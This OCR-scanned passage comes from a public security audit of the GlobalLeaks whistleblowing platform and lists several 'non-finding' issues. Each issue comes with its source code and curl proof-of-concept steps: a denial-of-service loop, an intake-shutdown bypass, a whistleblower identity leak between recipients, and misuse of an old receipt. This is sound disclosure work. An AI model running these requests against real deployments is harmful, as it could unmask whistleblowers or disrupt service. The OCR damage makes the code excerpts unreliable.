daemon. If the active database has reachabl e_vi a_web=f al se , the packaged service should not install public
80/ 443 redirects for that instance.

Actual result

The init script evaluates reachabl e_via web from /var/ gl obal eaks before applying the WRKI NG DI R
override from /etc/ defaul t/ gl obal eaks . It can therefore install public standard-port redirects for a daemon
that later runs against a di erent database whose reachabl e_vi a_web setting is false.

Impact

This is a deployment-time protection mechanism failure in the Debian package. Operators who intentionally run
GlobalLeaks from a non-default WORKI NG DI R and disable web reachability in that active database can still
expose the service on the normal public web ports after restart. The issue undermines the operator's Tor-only
reachability expectation and can expose public metadata, receipt authentication, and new submission-session
creation over clearnet through standard ports.

Impacted users or systems:

o Debian/Ubuntu package deployments using /etc/ defaul t/ gl obal eaks to seta non-default
WRKI NG DIR .

o Deployments that rely on reachabl e_vi a_web=f al se to avoid public clearnet exposure.

o Whistleblowers and operators relying on the packaged firewall redirects to reflect the active database's
reachability policy.

CONFIDENTIALITY INTEGRITY AVAILABILITY
Low Low Low

CWE-693 ) Protection Mechanism Failure
CWE-668 ) Exposure of Resource to Wrong Sphere
CWE-807 ) Reliance on Untrusted Inputs in a Security Decision
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11 Non-finding candidates

Most reports show only what survived triage. This one also shows the edge of the review. The 27 records below
were considered and deliberately not classified as current vulnerabilities - because the impact was neutralised by
configuration or version history, because the behaviour falls inside the accepted administrator trust model, or
because the condition is technically real but not exploitable under the threat model in §2.3. A legacy condition

a ecting retained pre-3.0.0 unencrypted reports, for instance, can still be useful to operators even when current
encrypted reports are untouched.

Publishing them documents the method. It lets a reader see where the line was drawn, and why - and it lets the
project revisit any of them should its threat model or deployment assumptions change.
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11.1 F-041 - Report list scans global data

An ordinary report-list refresh can trigger global aggregation work and consume shared database capacity far
beyond the caller's own data.

IMPACT COMPONENT FOUND BY

Database exhaustion Backend GPT-5.5 Pro xhigh via
run_codex_cwe_line v2

CGET /api/recipient/rtips computes receiver_count by groupingevery ReceiverTip row inthe database
before it applies the tenant, recipient, and update-window filters used for the actual report list. An authenticated
recipient in any tenant can repeatedly request this unrate-limited GET endpoint and force the backend to scan
and materialize global report-recipient counts, consuming database and ORM worker capacity for reports the
recipient cannot access.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ handl ers/reci pient/__init__.py:get_receivertips
backend/ gl obal eaks/ handl ers/recipient/__init__.py: TipsCollection
backend/ gl obal eaks/ rest/ decor at or s. py: decor at e_net hod

backend/ gl obal eaks/ state. py: State. __init__

CET /api/recipient/rtips

Description:

The recipient report-list handler first builds auxiliary dictionaries for comment counts, file counts, and receiver
counts. The comment and file count queries are scoped to the current receiver, but the receiver-count query has
no tenant, receiver, time-window, or visible-report filter. It groups the complete receivertip table and stores

one dictionary entry for every report on the instance.

The later report-list query applies the intended access filters: current tenant, current recipient or non-selectable
contexts, and updated_after/updated_before. The global receiver-count query therefore does work for unrelated
tenants and inaccessible reports before the endpoint knows which rows are needed.

The endpoint is a receiver-authenticated CGET . The decorator layer only wraps DELETE / PCST / PUT requests
with the API rate limiter, so repeated report-list GET s are not delayed by the operation buckets. Each call runs
through the ORM thread pool, which is shared backend capacity.

Relevant code:

# backend/ gl obal eaks/ handl ers/recipient/__init__.py
# Fetch nunber of receivers who have access to each report
for itip_id, count in session.query(nodels.ReceiverTip.internaltip_id,
func. count (nodel s. Recei ver Tip.id)) \
. group_by(nodel s. Recei ver Tip.internal tip_id):
recei ver_count_by_itip[itip_id] = count
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for rtip, itip, answers, data in session. query(nodel s. Recei verTi p,
model s. I nternal Tip,
nodel s. | nt er nal Ti pAnswver s,
nodel s. I nternal Ti pData) \
.filter(or_(nodels.|nternal Tip.context_id.

in_(receiver_contexts),

== receiver_id),

nodel s. Recei ver Ti p. recei ver _i d

nodel s. Internal Tip.tid == tid,
nodel s. I nternal Ti p. update_date >=

updat ed_after,

nodel s. | nternal Ti p. update_date <=

updat ed_bef or e,

nodel s. I nternal Tip. i

nodel s. Recei verTip.internal tip_id,

nodel s. I nternal Ti pAnswer s. i nt er nal

tip_id == nodel s. Recei verTip.internal tip_id) \

. group_by(rodel s. Recei verTi p. i d):

'receiver_count': receiver_count_by itip.get(itip.id, 0),

# backend/ gl obal eaks/ handl ers/recipient/__init__.py
class TipsCol | ecti on(BaseHand! er):
check_rol es = 'receiver'

def get(self):
return get_receivertips(self.
sel f.
sel f.
sel f.
sel f.

request.tid,
sessi on. cc,

request. args)

# backend/ gl obal eaks/ rest/ decorat ors. py
if nethod in ['delete', "post', "put']:
f = decorator_require_session_or_token(f)
if State.settings.enable rate_|imting:
f = decorator_rate_|imt(f)

f = decorator_authentication(f, roles)

# backend/ gl obal eaks/ st at e. py
self.ormtp = None
sel f.set_ormtp(ThreadPool (4, 16))

PoC

session. user _id,

request . | anguage,

Steps to reproduce

1. Use a deployment or test database with many reports and Recei ver Ti p rows. The important property is total
platform size, not the number of reports assigned to the attacking recipient. The vulnerable SQL generated by the

auxiliary count is equivalent to:

SELECT receivertip.internaltip_id, count(receivertip.id) AS count_1

FRCM recei vertip
GROP BY receivertip.internaltip_id;

2. Authenticate as any recipient account in any tenant and request the report list:
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curl -s -H ' Cookie: session=<recipient-session> 'https://<host>/api/recipient/
rtips' >/ dev/null

3. Repeat the GET concurrently. This uses a normal recipient capability and does not hit the API operation rate
limiter because the request method is GET:

for i in $(seq 1 32); do
while true; do
curl -s -H ' Cookie: session=<recipient-session> 'https://<host>/api/recipient/
rtips' >/ dev/null
done &
done
wai t

Expected result
The endpoint should compute receiver counts only for reports that are visible in the current recipient's current-
tenant report list, or should join the count aggregation to the already scoped report-list query.

Actual result

Every request computes receiver counts for all Recei ver Ti p rows on the instance, including unrelated tenants

and reports outside the caller's access boundary. Repeated requests can keep database work and ORM worker
threads busy with global aggregation before the endpoint returns the caller's scoped report list.

Impact

A malicious recipient can turn an ordinary report-list refresh into repeated global database aggregation work. On
large or multi-tenant installations, this can degrade or deny backend service for other users by consuming shared
database and ORM worker capacity. The impact grows with total platform history, so a recipient with few assigned
reports can still impose cost proportional to reports across the whole instance.

Impacted users or systems:

e Other recipients and administrators sharing the same backend and database.

¢ Multi-tenant installations where one tenant's recipient can force aggregation over other tenants'
Recei verTip rows.

o Large deployments with substantial report history.

CONFIDENTIALITY INTEGRITY AVAILABILITY
None None High

CWE-1060 ) Excessive Number of Ine cient Server-Side Data Accesses
CWE-1125 ) Excessive Attack Surface
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11.2 F-089 - AppArmor documentation
overstates sandbox

The documentation overstates the AppArmor boundary and can mislead operators about how much containment
the package really provides.

IMPACT COMPONENT FOUND BY
Assurance mismatch Documentation GPT-5.5 medium vl

The security documentation describes the AppArmor profile as strict sandboxing that allows access only to
strictly required files. The packaged profile allows broad capabilities and broad filesystem access patterns, so the
documentation may give operators and auditors an overly strong understanding of the containment boundary.

Details

The documentation makes a strong security claim about AppArmor confinement that is not fully supported by the
packaged profile.

A ected source code, component, endpoint, or function:

docunent ati on/ t echni cal / security/ application-security.rst
debi an/ appar nor/ usr. bi n. gl obal eaks

Description:

The documentation states that the AppArmor profile allows the application to access only strictly required files.
The actual profile permits several powerful Linux capabilities, broad read access under /usr/share ,

write/link/lock access under /var/ gl obal eaks and temporary directories, and execution of gpg and tor

AppArmor remains useful defense in depth, but the documentation should describe it in more precise terms and
avoid implying that the profile is a narrow least-privilege boundary unless the profile is tightened accordingly.

Relevant code:

docunent ati on/ t echni cal / security/ application-security.rst:

331 Application sandboxi ng

333 The d obalLeaks backend integrates " AppArnor <https://apparnor.net/> __ by
default and inplenments a strict sandboxing profile, allow ng the application to
access only the strictly required files.

debi an/ appar nor/ usr . bi n. gl obal eaks:
10 capabi lity setgid,

11 capabi lity setuid,

12 capabi lity fsetid,

13 capabi lity fowner,

14 capabi lity chown,

15 capabi | ity dac_overri de,

16 capabi | ity dac_read_search,
17 capabi lity sys_tty_config,
35 lusr/share/** r,

38 /var/ gl obal eaks/ ** | rwk,
46 owner /tnp/** rwkl,
47 owner /var/tnp/** rwkl,
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PoC

The issue can be reproduced by comparing the documentation claim with the packaged AppArmor profile.

Steps to reproduce

1. Inspect the AppArmor claim in the security documentation.

nl -ba docunentati on/technical /security/application-security.rst | sed -n
' 331, 334p'

2. Inspect the packaged AppArmor profile.

nl -ba debi an/ appar nor/ usr. bi n. gl obal eaks | sed -n ' 10, 48p'

3. Compare the claim to the allowed capabilities and paths.

The profile allows broad privileged capabilities and broad fil esystem patterns,
whil e the docunentation says only strictly required files are all owned.

Expected result

Documentation should accurately qualify AppArmor as a defense-in-depth control and describe important
confinement limits, or the AppArmor profile should be tightened to match the documented least-privilege claim.

Actual result

Documentation makes an unqualified strict sandboxing claim that overstates the e ective AppArmor policy.

Impact

This is a security assurance and operator-risk issue. Overstated documentation can cause operators, auditors, or
hosted deployments to rely on a stronger sandboxing boundary than the package actually provides.

Impacted users or systems:

e Operators relying on the documented AppArmor guarantees for deployment risk decisions.

e Auditors assessing GlobalLeaks containment based on documentation.

CONFIDENTIALITY INTEGRITY AVAILABILITY
Low Low Low

CWE-266 ) Incorrect Privilege Assignment
CWE-1059 ) Incomplete Documentation
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11.3 F-101 - Operator switch reopens disabled
intake

A recipient can switch into a fresh operator session and reopen submission capability even while intake is
supposed to stay disabled.

IMPACT COMPONENT FOUND BY

Intake policy bypass Backend GPT-5.5 xhigh via
run_codex_cwe_line v2

The backend lets any authenticated recipient create a fresh whistleblower-role operator session through

/[ api / aut h/ oper at or aut hswi t ch even after submissions have been disabled by an administrator or by the low-
disk anomaly lockout. The normal public empty-receipt flow rejects new submission sessions in that state, but the
operator switch does not apply the same intake gate, and the submission and draft-attachment endpoints accept
the resulting whistleblower session without re-checking the disabled-submissions state.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ handl ers/auth/ __init__.py: ReceiptAuthHandl er. post ()
backend/ gl obal eaks/ handl ers/auth/ __init__.py: QperatorAuthSa tchHandl er. get ()
backend/ gl obal eaks/ handl er s/ whi st | ebl ower/ submi ssi on. py: Subni ssi onl nst ance. post ()
backend/ gl obal eaks/ handl er s/ whi st | ebl ower/ at t achnent . py:

Subni ssi onAt t achment . post ()

backend/ gl obal eaks/ j obs/ anonal i es. py: check_di sk_space()

/api / aut h/ recei ptaut h

/ api / aut h/ oper at or aut hswi t ch

[/ api / aut h/ t okenaut h

/ api / whi st | ebl ower/ subni ssi on

/ api / whi st | ebl ower / subni ssi on/ at t achnent

Description:

Recei pt Aut hHandl er . post () is the only backend path that checks the administrator-controlled
di sabl e_subni ssi ons flag and the process-wide State. accept _subm ssi ons low-disk lockout before
creating a new empty-receipt submission session.

Qper at or Aut hSwi t chHandl er . get () is a recipient-only role switch used for assisted intake. It creates a new
whistleblower session with an oper at or _sessi on property, but it does not check either disabled-submission
gate. The returned redirect token is the newly created session identifier and can be redeemed through

[ api / aut h/ t okenaut h or used directly as X- Sessi on before redemption.

Subni ssi onl nst ance. post () and Submi ssi onAt t achrent . post () authorize only on the cached whistleblower

role and do not check whether intake is currently disabled. A recipient can therefore mint a fresh operator
whistleblower session after intake is closed, then finalize a new report or add draft attachments despite the
backend state that blocks ordinary public users from obtaining new submission sessions.

Relevant code:
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session = yield | ogi n_whi stlebl ower(self.request.tid, request['receipt'],

sel f.request.client_using_tor,
operator_id)
el se:

if not self.state.accept_subnissions or self.state.tenants[self.request.tid].c

ache[ ' di sabl e_subm ssions'] :
rai se errors. Subm ssi onDi sabl ed

session = initialize_subm ssion_session(self.request.tid)

backend/ gl obal eaks/ handl ers/auth/ __init__.py

class Qperat or Aut hSwi t chHandl er (BaseHandl er) :
check_rol es = 'receiver'

def get(self):
sessi on = Sessions. new(sel f. session. user_tid,
uui d4(),
sel f. sessi on. user_tid,
"whi st ebl ower ",
sel f. sessi on. cc,
sel f. sessi on. ek)

sessi on. properties[' operator_session'] = self.session.user_id

return {'redirect': '/#/|ogi n?t oken=9%"' % sessi on. i d}

backend/ gl obal eaks/ handl er s/ whi st | ebl ower/ subni ssi on. py

cl ass Subni ssi onl nst ance( BaseHand! er) :
check_rol es = 'whi st ebl oner’

def post(self):
request = self.validate_request(self.request.content.read(),
request s. Subm ssi onDesc)

return create_subnission(self.request.tid,
request,
sel f. sessi on,
sel f.request.client_using_tor,
sel f.request. client_using_nobi | e)

backend/ gl obal eaks/ handl er s/ whi st | ebl ower/ att achnment . py

class Subm ssi onAt t achnent (BaseHandl er):
check_rol es = ' whi st ebl over*
upl oad_handl er = True

def post(self):

sel f. upl oaded_file['subnission'] = True
sel f.session.files. append(self.upl oaded_file)

backend/ gl obal eaks/ j obs/ anonal i es. py

if free_disk_negabytes <= State.tenants[1].cache.threshol d_free_di sk_nmegabytes_hig

hor \

free_di sk_percentage <= State.tenants[1].cache.threshol d_free_di sk_percenta

ge_hi gh:
alarmlevel disk =1 # H&H
accept _subni ssions = Fal se
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This is related to, but distinct from, 20260602- backend- di sabl ed- subni ssi ons- can- be- conpl et ed-wi t h-

exi sti ng-sessi on. nd . That earlier issue covers a public submitter reusing a submission session that already
existed before intake was disabled. This issue covers a privileged role-transition path where a recipient can create
a new whistleblower submission session after the disabled-submissions gate is already active.

PoC

Steps to reproduce

1. Disable submissions as an administrator, or trigger the repository's low-disk anomaly state so
St at e. accept _subm ssi ons becomes false.

curl -sS -X PUT https://target.exanpl e/ api / adm n/ node \
-H ' Content-Type: application/json' \
-H ' x-session: <adm n-session> \
--data '<valid node settings w th "disabl e_subm ssions": true>'

2. Confirm that the ordinary public empty-receipt path no longer creates new submission sessions.

curl -sS -X PCBT https://target.exanpl e/ api / aut h/ recei ptauth \
-H ' Content-Type: application/json' \
--data '{"receipt":""}"

The backend raises Submi ssi onD sabl ed because Recei pt Aut hHandl er. post () checks the disabled intake
state before calling initialize_subm ssion_session() .

3. As any authenticated recipient, request an operator switch after submissions are disabled.

curl -sS https://target.exanpl e/ api /aut h/ oper at or aut hswi t ch \
-H ' x-session: <recipient-sessi on>'

The response contains a redirect like /#/ | ogi n?t oken=0 . The 1 value is a newly created whistleblower session
with properties. operator_sessi on set to the recipient user ID.

4. Use that fresh operator whistleblower session to submit a valid report body for one of the tenant's contexts.

curl -sS -X POST https://target.exanpl e/ api / whi st| ebl ower/ subm ssi on \
-H ' Content-Type: application/json' \
-H ' x-sessi on: <operat or-session> \
--data ' {"context_id":"<context-uui d>","receivers":["<recei ver-
uui d>"],"identity_provided":fal se, "answers":{}, "score": 0, "receipt": " <new
recei pt>"}'

A browser-style flow can first redeem the same value through /api / aut h/ t okenaut h and then use the
regenerated session ID, but redemption is not required to demonstrate the backend authorization flaw.

5. The same session can upload draft attachments to /api / whi st | ebl ower/ submi ssi on/ att achnent because
the upload/finalization path does not enforce the disabled intake state after the operator switch.
Expected result

When submissions are disabled, all paths that create new report-intake sessions or complete draft submissions
should reject new intake, including recipient-assisted operator sessions. The low-disk lockout should also stop
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new intake writes regardless of whether they originate from the public flow or the recipient operator flow.

Actual result

/[ api / aut h/ oper at or aut hswi t ch creates a fresh whistleblower session for the recipient after intake is disabled.
/[ api / whi st | ebl ower/ subni ssi on and /api/whi st ebl ower/ subni ssi on/ attachnent then accept that session
and can create a new report or draft attachment despite the disabled-submissions state.

Impact

This is a privilege context switching and workflow-enforcement bypass. A malicious or abusive recipient, which is
in scope for this repository's threat model, can override an administrator's intake shutdown or the server's low-
disk submission lockout by switching into a new operator whistleblower session. That can create reports during an
intended shutdown window, undermine operational controls, and worsen disk-pressure conditions that the
anomaly job is explicitly trying to contain.

Impacted users or systems:

e Administrators relying on di sabl e_submi ssi ons to stop new report intake.

o Deployments where State. accept_subm ssions is false because free disk space crossed the high-severity
threshold.

e Recipients and operators who may receive or process reports created during an intended intake shutdown.

e The server's working directory and upload storage when draft attachments are accepted during low-disk

lockout.
CONFIDENTIALITY INTEGRITY AVAILABILITY
None Low Low

CWE-270 ) Privilege Context Switching Error
CWE-266 ) Incorrect Privilege Assignment
CWE-841 ) Improper Enforcement of Behavioral Workflow
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11.4 F-002 - Recipient sees identity without
approval

Once one recipient gets identity approval, another recipient on the same report can inherit access to the
whistleblower's identity.

IMPACT COMPONENT FOUND BY
Identity disclosure Backend GPT-5.5 xhigh vl

Recipient access to a reporting person's identity is tracked as a per-recipient request, but report serialization
checks only the latest identity-access request for the report. Once one recipient obtains an authorized identity-
access request, another recipient with access to the same report can retrieve the whistleblower identity without
making or receiving their own authorization.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ nodel s/ seri al i zers. py, serialize_rtip()

backend/ gl obal eaks/ handl ers/ reci pient/rtip.py, create_identityaccessrequest()
backend/ gl obal eaks/ handl ers/ custodi an/ __init__.py, update_identityaccessrequest ()
CET /api/recipient/rtips/<internaltip_id>

Description:

Identity-access requests are created by a specific recipient and store that recipientin request _user_id .
Custodian approval updates that specific request. However, serialize_rtip() retrieves the latest

I dent it yAccessRequest forthe reportusingonly internaltip_id and does notrequire request_user_id to
match the recipient whose report view is being serialized.

The same serializer then decides whether to remove dat a. whi st | ebl ower _i dentity based on that unscoped

request. If the latest request is authorized, the identity remains in the serialized report for any recipient who has a
Recei ver Ti p for the same report, even if that recipient never requested identity access and was never
authorized by a custodian.

Relevant code:

backend/ gl obal eaks/ handl ers/ reci pi ent/rtip. py

983 iar = nodel s. | dentityAccessRequest ()
984 far.internaltip_id =itip.id

985 iar.request_user_id = user.id

1002 if not custodians:

1003 iar.reply_date = datetinme_now()
1004 iar.reply_user_id = user_id
1005 iar.reply = "authorized
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backend/ gl obal eaks/ handl ers/ custodian/ __init__.py

84 def update_identityaccessrequest(session, tid, user_id,
i dentityaccessrequest _id, request):

85 iar, iarc, itip = session.query(nodels.|dentityAccessRequest,

nodel s. | denti t yAccessRequest Qust odi an, nodel s. I nternal Tip) \

86 .filter(nodel s.|dentityAccessRequest.id ==

i dentityaccessrequest_id,

87 nodel s. | denti t yAccessRequest Qust odi an. i denti t yacc
essrequest _id == nodel s. | dentityAccessRequest . id,

88 nodel s. | dent i t yAccessRequest Qust odi an. cust odi an_i
d == user_id,

89 nodel s. Internal Tip.id ==

nodel s. I dentityAccessRequest.internal tip_id).one()

94 if iar.reply == 'pending':

95 iar.reply_date = datetine_now()
96 iar.reply_user_id = user_id
97 iar.reply = request['reply']

backend/ gl obal eaks/ nodel s/ seri al i zers. py

271 iar = session. query(nodel s. |dentityAccessRequest) \

272 .filter(nodel s.ldentityAccessRequest.internaltip_id ==
itip.id) \

273 .order _by(nodel s. | dentityAccessRequest . request _date. desc()). f
irst()

275 if iar:

276 ret['iar'] = serialize_identityaccessrequest(session, iar)

288 if "iar' not inret or ret['iar']['reply'] in ('denied , 'pending ):

289 if 'data’ in ret and 'whistleblower_identity' inret['data']:

290 del ret['data'][" whistleblower_identity']

The model confirms that identity requests are intended to record the requesting recipient:

backend/ gl obal eaks/ nmodel s/ __init__. py

554 class _ldentityAccessRequest (Model ):

555 o

556 This nodel keeps track of identity access requests by receivers and
557 of the answers by custodi ans.

558 o

562 internaltip_id = Col um( Uni codeText (36), null abl e=Fal se, index=True)
563 request _date = Col uim(Dat eTi ne, defaul t=datetine_now, nullabl e=Fal se)

564 request _user _i d = Gol uim( Uni codeText (36), nul | abl e=Fal se)

PoC

Steps to reproduce
1. Configure a tenant with custodians enabled and a questionnaire that collects whistleblower identity. Create a
report with identity information and assign it to at least two recipients, recipient A and recipient B.

# Configuration can be done through the nornal admin U/API.
# The inportant state is one Internal Tip with two Recei verTip rows and popul at ed
whi st ebl over _identity data.

2. As recipient A, request identity access for the report.
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curl -X PCBT \
-H ' x-session: <recipient-a-session> \
-H *content-type: application/json \
--data '{"request_notivation":"need to verify identity"}' \
"https://<tenant-host>/api/recipient/rtips/<internaltip_id>iars'

3. As a custodian, authorize recipient A's identity-access request.

curl -X PUT \
-H ' x-session: <custodi an-sessi on>' \
-H 'content-type: application/json \
--data ' {"reply":"authorized", "reply_notivation": "approved"}' \
"https://<tenant-host>/ api/ cust odi an/i ars/ <i ar _i d>'

4. As recipient B, fetch the same report without making an identity-access request.

curl -H'x-session: <recipient-b-session> \
"https://<tenant-host> api/recipient/rtips/<internaltip_id>

Expected result

Recipient B's report serialization should not include dat a. whi st | ebl ower _i dentity unless recipient B's own

identity-access request was authorized, or unless the deployment explicitly operates without custodians and
intentionally grants direct identity access.

Actual result

Because serialize rtip() readsthe latestauthorized requestby internaltip_id only, recipient B receives
the authorized iar state and the serializer leaves dat a. whi stl ebl ower _i dentity in the response.

Impact

This is an object-authorization flaw in the identity-access workflow. A malicious or curious recipient can learn a
whistleblower's identity whenever another recipient on the same report obtains approval, bypassing the per-
recipient custodian approval boundary.

Impacted users or systems:

¢ Whistleblowers who provide identity information on reports assigned to multiple recipients.

o Deployments that rely on custodians to approve identity disclosure to individual recipients.

CONFIDENTIALITY INTEGRITY AVAILABILITY
High Low None

CWE-639 ) Authorization Bypass Through User-Controlled Key
CWE-863 ) Incorrect Authorization
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11.5 F-015 - Old receipt still opens report

A session derived from the old receipt can keep accessing the report even after receipt rotation is supposed to be
enforced.

IMPACT COMPONENT FOUND BY
Secret rotation bypass Backend GPT-5.5 xhigh v1

Whistleblower sessions marked with recei pt _change_needed are only prompted by the client to change the
report receipt. The backend still authorizes the normal whistleblower report APIs before the receipt is changed,
allowing the holder of the old receipt-derived session to read, comment on, update, or attach files to the report
despite the forced receipt-rotation state.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ handl ers/auth/ __init__.py

backend/ gl obal eaks/ handl er s/ whi st | ebl ower / wbti p. py

backend/ gl obal eaks/ handl er s/ whi st | ebl ower/ at t achnment . py

backend/ gl obal eaks/ rest/ api . py

client/app/src/services/ hel per/authentication.service.ts
client/app/ src/shared/ modal s/ ot kc- access/ ot kc- access. conponent . ht ni

Description:

When a recipient operates on behalf of a whistleblower, or when a report already has recei pt _change_needed

set, receipt authentication creates a normal whistleblower session and includes
properties. recei pt _change_needed in the serialized session. The client responds by opening a modal that

generates a replacement receipt and calls api / whi st | ebl ower/ operations with operati on=change_r ecei pt

This is not a backend authorization boundary. The whistleblower report APIs only check that the session role is
whi st | ebl ower ; they do not reject sessions whose properties contain recei pt _change_needed . The client
modal can also be closed, and a direct client/API request can use the session immediately.

The result is that a session obtained with a receipt that must be rotated can still perform normal report actions
before the receipt is replaced. This weakens the purpose of forced receipt rotation after recipient/operator
access, where the old receipt should not continue to be su cient for report access or actions once the platform

has marked the report as requiring a new code.

Relevant code:
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/1 backend/ gl obal eaks/ handl ers/auth/__init__.py

64: if operator_id is not None:
65: i tip.receipt_change_needed = True
66: itip.operator_id = operator_id
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70: session = Sessions.new(tid, itip.id, tid, "whistleblower', crypto_prv_key)

71:
72: if itip.receipt_change needed:
73: sessi on. properties["“recei pt_change_needed"] = True

/1 backend/ gl obal eaks/ handl ers/auth/ __init__.py

253: operator_id = None

254: if self.session and sel f.session. properties.get (' operator_session',
Fal se):

255: # this is actually a recipient operating on behal f of a

whi st | ebl over

256: operator_id = sel f.session. properties.get('operator_session')
258: if request['receipt']:

259: session = yield | ogi n_whistlebl oner(sel f.request.tid,

request['receipt'],

260: sel f.request.client_using_tor,

operator_id)

267: if operator_id:

268: sessi on. properties[ "operator_session"] = self.session.user_id

/1 backend/ gl obal eaks/ handl er s/ whi st | ebl ower/wbt i p. py
172: check_rol es = "whi st ebl ower"

174: def put(self):

175: request = sel f.validate_request(self.request.content.read(),
request s. (psDesc)

176: if request["operation"] != "change_receipt":

177: raise errors. | nputValidationError("lnvalid command")

188: cl ass VMBTi pl nst ance( BaseHandl er):
192: check_rol es = ' whi st ebl ovner’

195: def get(self):

196: tip, crypto_tip_prv_key = yield get_wbtip(self.session.user_id,

sel f. request . | anguage)

206: cl ass WBTi pConment Col | ect i on( BaseHandl er) :
210: check_rol es = " whi st ebl ovner’

212: def post(self):

213: request = sel f.validate_request(self.request.content.read(),
r equest s. Comrent Desc)
214: return create_comnent (sel f.request.tid, self.session.user_id,

request['content'])

294: cl ass VMBTI pl dent i t yHandl er ( BaseHandl er) :
298: check_rol es = ' whi st ebl ower’

310: cl ass VBTi pAddi ti onal Questi onnai r e( BaseHandl er) :
314: check_rol es = ' whi stl ebl ower’

/1 backend/ gl obal eaks/ handl er s/ whi st | ebl ower/ at t achnent . py
66: cl ass Post Submi ssi onAt t achnment ( Submi ssi onAt t achnent ) :

70: check_rol es = 'whistlebl over’

73: def post(self):

74: sel f. upl oaded_file['submssion'] = Fal se
75:
76: return register_ifile_on_db(sel f.request.tid, self.session.user_id,

sel f. upl oaded_fil e)

/1 backend/ gl obal eaks/ rest/ api . py
97: (" /api /whi st ebl ower/wbtip', whistlebl ower.wbtip.WBTi pl nst ance),

98: (" / api / whi st ebl ower/wbt i p/ cooments’, whi st ebl ower. wbti p. WBTi pConmrent Col | e

ction),
100: (' / api / whi st | ebl ower/wbti p/wbfiles',

whi st | ebl ower. at t achrment . Post Submi ss

Page 322 of 400

All rights reserved ISGroup Sr.l. - www.isgroup.biz - Made in Italy



ISGroup SRL
Via Cantarane, 14
37129 Verona (VR)
. . PIVA IT 04164220230
Information Security REA VR-397513

Labeling PUBLIC Date 30/07/2026 Author ISGroup

Edition 01 Revision 01 Distribution Public disclosure permitted

i onAttachnent),

101: (" /api/whi st ebl ower/wbtip/wbfiles', whistleblower.wbtip. WistleblowerFile
Downl oad, r'/api/whistlebl ower/wbtip/wbfiles/" + uuid_regexp),

102: (* /api /whi st | ebl ower/wbtip/identity', whistleblower.wbtip.VBTipldentityHan
dler),

103: (" /api/whistleblower/wbtip/fillform, whistleblower.wbtip.WBTi pAdditional Q
uestionnaire),

/'l client/app/src/services/hel per/authentication.service.ts

128: if (response & response.properties &%

response. properties. recei pt _change_needed) {

129: const recei pt = this.cryptoService. generateReceipt();

132: const nodal Ref = this. nmodal Servi ce. open(Q kcAccessConponent , { bac

kdrop: ‘'static', keyboard: false});

145: this.http.put (' api/whistlebl ower/operations', {
146: operation: 'change_receipt',

147: args: {receipt: newReceipt}

153: return;

/1 client/app/src/shared/ nodal s/ ot kc- access/ ot kc- access. conponent . ht mi

3: <button type="button" class="btn-close" (click)="cancel ()" [attr.aria-
label ] ="' A ose' | translate"><i class="fa-solid fa-circle-xmark" aria-

hi dden="t rue"></i ></ but t on>

25: <button id="nodal -action-ok" class="btn btn-primary" (click)="confirn{)">{{
"Confirm | translate }}</button>

26: <a id="nodal -action-cancel " class="btn btn-outline-secondary"
(click)="cancel ()">

PoC

Steps to reproduce

1. Create or use a report whose recei pt_change_needed flag is set. One normal product path is a
recipient/operator workflow: the recipient switches to a whistleblower/operator session and then authenticates
to an existing report with the report receipt, which sets recei pt_change_needed and returns a whistleblower
session with properti es. recei pt _change_needed .

curl -s -X POST 'https://TARGET/ api / aut h/ recei ptauth' \
-H ' Content-Type: application/json' \
-H ' X-Session: CPERATCR SESSICN ID \
--data ' {"receipt":"O.D REPORT_RECH PT"}'

2. Observe that the response contains a normal whistleblower session and properti es. recei pt _change_needed:
true .

{
“role": "whistleblovner",
"id': "SESSIONID',
"properties": {
“recei pt _change_needed": true,
"operator_session": " "
}
}

3. Before calling api / whi st | ebl ower/ oper ati ons With operation: change recei pt , use the same session to
access the report.
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curl -s 'https:// TARGET/ api / whi st | ebl ower /wbtip' \
-H'X-Session: SESSICN | D

4. Use the same not-yet-rotated session to perform a normal report action, such as posting a comment.

curl -s -X POST ' https:// TARGET/ api / whi st | ebl ower /wbt i p/ cornents' \
-H ' Content-Type: application/json' \
-H'X-Session: SESSIONID \
--data '{"content":"coment before receipt rotation"}"

Expected result

A whistleblower session marked recei pt _change_needed should be restricted to the minimum operations

required to change the receipt and log out. Report reads, comments, identity updates, additional questionnaire
answers, and post-submission file uploads should be blocked until the receipt change succeeds.

Actual result

The backend authorizes normal whistleblower report APIs based only on the session role. The forced receipt-
change state is surfaced to the client but is not enforced before report access or report-modifying actions.

Impact

A recipient/operator or any holder of a receipt-derived session that has been marked as requiring receipt rotation
can continue to access and act on the whistleblower report before the old receipt is replaced. This weakens the
confidentiality and integrity boundary that forced receipt rotation is meant to provide after recipient/operator
involvement, because the old code-derived session is still su cient for report access and actions.

Impacted users or systems:

o Whistleblowers whose reports are accessed through recipient/operator workflows that require receipt
rotation.

e Reports already marked with recei pt _change_needed .

o Deployments relying on forced receipt rotation to prevent continued use of an old receipt after
assisted/operator access.

CONFIDENTIALITY INTEGRITY AVAILABILITY
High Medium None

CWE-862 ) Missing Authorization
CWE-287 ) Improper Authentication
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11.6 F-019 - Reset tokens remain valid
indefinitely

A leaked reset token can stay usable until cleanup or password-change side e ects remove it, rather than
expiring at validation time.

IMPACT COMPONENT FOUND BY
Account takeover risk Backend GPT-5.5 medium vl

Password reset tokens are delivered by email and backed by server-side marker files, but validation does not
check token age or an explicit expiry timestamp. A reset token can remain valid until the marker file is removed by
reboot, cleanup, or password-change side e ects.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ handl er s/ user/reset _passwor d. py
backend/ gl obal eaks/transactions/__init__.py
backend/ gl obal eaks/ nodel s/ __init__.py

PCST / api / user/reset/ passwor d

PUT / api / user/reset/ passwor d

Description:

db_generate_password reset token() generates a reset token, writes a file named with sha256( t oken)
containing the user id, and includes the reset token in the password reset email body. The email body is queued
in the database mail spool before delivery.

val i dat e_password_reset () recomputes the marker-file path and accepts the token if the file can be read and
references an existing user.

The validation path does not inspect file creation time, store an expiry timestamp, use a TenpD ct expiry, or
delete the token after successful validation. A code comment notes that the token is intentionally preserved until
the actual password reset, but there is no visible bounded lifetime for that window.

Relevant code:

Page 325 of 400

All rights reserved ISGroup Sr.l. - www.isgroup.biz - Made in Italy



|SGroup

Information Security

ISGroup SRL

Via Cantarane, 14
37129 Verona (VR)
PIVA IT 04164220230
REA VR-397513

Labeling PUBLIC Date 30/07/2026 Author ISGroup
